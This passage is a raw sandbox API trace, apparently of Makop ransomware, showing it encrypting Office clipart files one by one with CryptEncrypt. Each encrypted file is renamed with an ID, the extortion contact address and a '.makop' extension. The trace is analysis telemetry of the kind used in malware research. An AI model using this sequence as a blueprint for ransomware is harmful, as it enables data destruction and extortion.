lpBuffer=0x6370020, nNumberOfBytesToRead=0x4752, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x4752, lpOverlapped=0x0) returned 1 [0116.826] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4760, dwBufLen=0x4760 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x4760) returned 1 [0116.826] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.826] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x4760, lpOverlapped=0x0) returned 1 [0116.827] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.827] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x4834, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.827] SetEndOfFile (hFile=0xf0) returned 1 [0116.834] GetProcessHeap () returned 0x48a0000 [0116.834] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.834] GetProcessHeap () returned 0x48a0000 [0116.834] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.834] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.834] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099148.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.835] CloseHandle (hObject=0xf0) returned 1 [0116.836] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x11dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099149.WMF", cAlternateFileName="")) returned 1 [0116.836] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF") returned 63 [0116.836] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.840] GetProcessHeap () returned 0x48a0000 [0116.840] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.840] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.840] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.840] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0116.844] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.844] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.844] GetProcessHeap () returned 0x48a0000 [0116.844] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.844] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.844] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.845] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.845] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.845] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.845] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.845] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.846] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.846] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11dfe, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11dfe, lpOverlapped=0x0) returned 1 [0116.848] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11e00, dwBufLen=0x11e00 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11e00) returned 1 [0116.849] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.849] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11e00, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11e00, lpOverlapped=0x0) returned 1 [0116.850] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.850] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11ed4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.850] SetEndOfFile (hFile=0xf0) returned 1 [0116.858] GetProcessHeap () returned 0x48a0000 [0116.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.858] GetProcessHeap () returned 0x48a0000 [0116.858] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.858] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099149.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099149.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.860] CloseHandle (hObject=0xf0) returned 1 [0116.860] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65d84550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x559a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099150.JPG", cAlternateFileName="")) returned 1 [0116.863] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG") returned 63 [0116.863] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.864] GetProcessHeap () returned 0x48a0000 [0116.864] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.864] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.864] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.864] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0116.867] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.867] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.867] GetProcessHeap () returned 0x48a0000 [0116.867] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.867] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.867] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.868] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.868] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.868] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.868] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.869] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.869] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.869] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x559a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x559a, lpOverlapped=0x0) returned 1 [0116.870] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x55a0, dwBufLen=0x55a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x55a0) returned 1 [0116.870] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.871] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x55a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x55a0, lpOverlapped=0x0) returned 1 [0116.871] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.871] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x5674, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.871] SetEndOfFile (hFile=0xf0) returned 1 [0116.878] GetProcessHeap () returned 0x48a0000 [0116.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.878] GetProcessHeap () returned 0x48a0000 [0116.878] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.878] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.878] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099150.JPG.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099150.jpg.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.879] CloseHandle (hObject=0xf0) returned 1 [0116.879] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x65e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099151.WMF", cAlternateFileName="")) returned 1 [0116.879] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0116.879] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.880] GetProcessHeap () returned 0x48a0000 [0116.880] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.880] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.880] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.880] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0116.883] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.884] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.884] GetProcessHeap () returned 0x48a0000 [0116.884] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.884] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.884] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.884] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.884] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.884] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.884] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.885] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0116.885] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.885] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.885] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.885] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x65e6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x65e6, lpOverlapped=0x0) returned 1 [0116.887] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x65f0, dwBufLen=0x65f0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x65f0) returned 1 [0116.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.887] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x65f0, lpOverlapped=0x0) returned 1 [0116.887] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.887] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x66c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0116.888] SetEndOfFile (hFile=0xf0) returned 1 [0116.894] GetProcessHeap () returned 0x48a0000 [0116.894] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0116.894] GetProcessHeap () returned 0x48a0000 [0116.894] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0116.894] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0116.895] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0116.896] CloseHandle (hObject=0xf0) returned 1 [0116.896] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2dae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099152.JPG", cAlternateFileName="")) returned 1 [0116.896] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG") returned 63 [0116.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099152.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099152.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0116.896] GetProcessHeap () returned 0x48a0000 [0116.896] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0116.897] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0116.897] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0116.897] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x2, lpOverlapped=0x0) returned 1 [0116.910] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0116.910] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0116.910] GetProcessHeap () returned 0x48a0000 [0116.910] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0116.910] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0116.910] CryptDestroyKey (hKey=0x48c7128) returned 1 [0116.910] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0116.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0116.911] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0116.911] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0116.911] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0116.911] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, 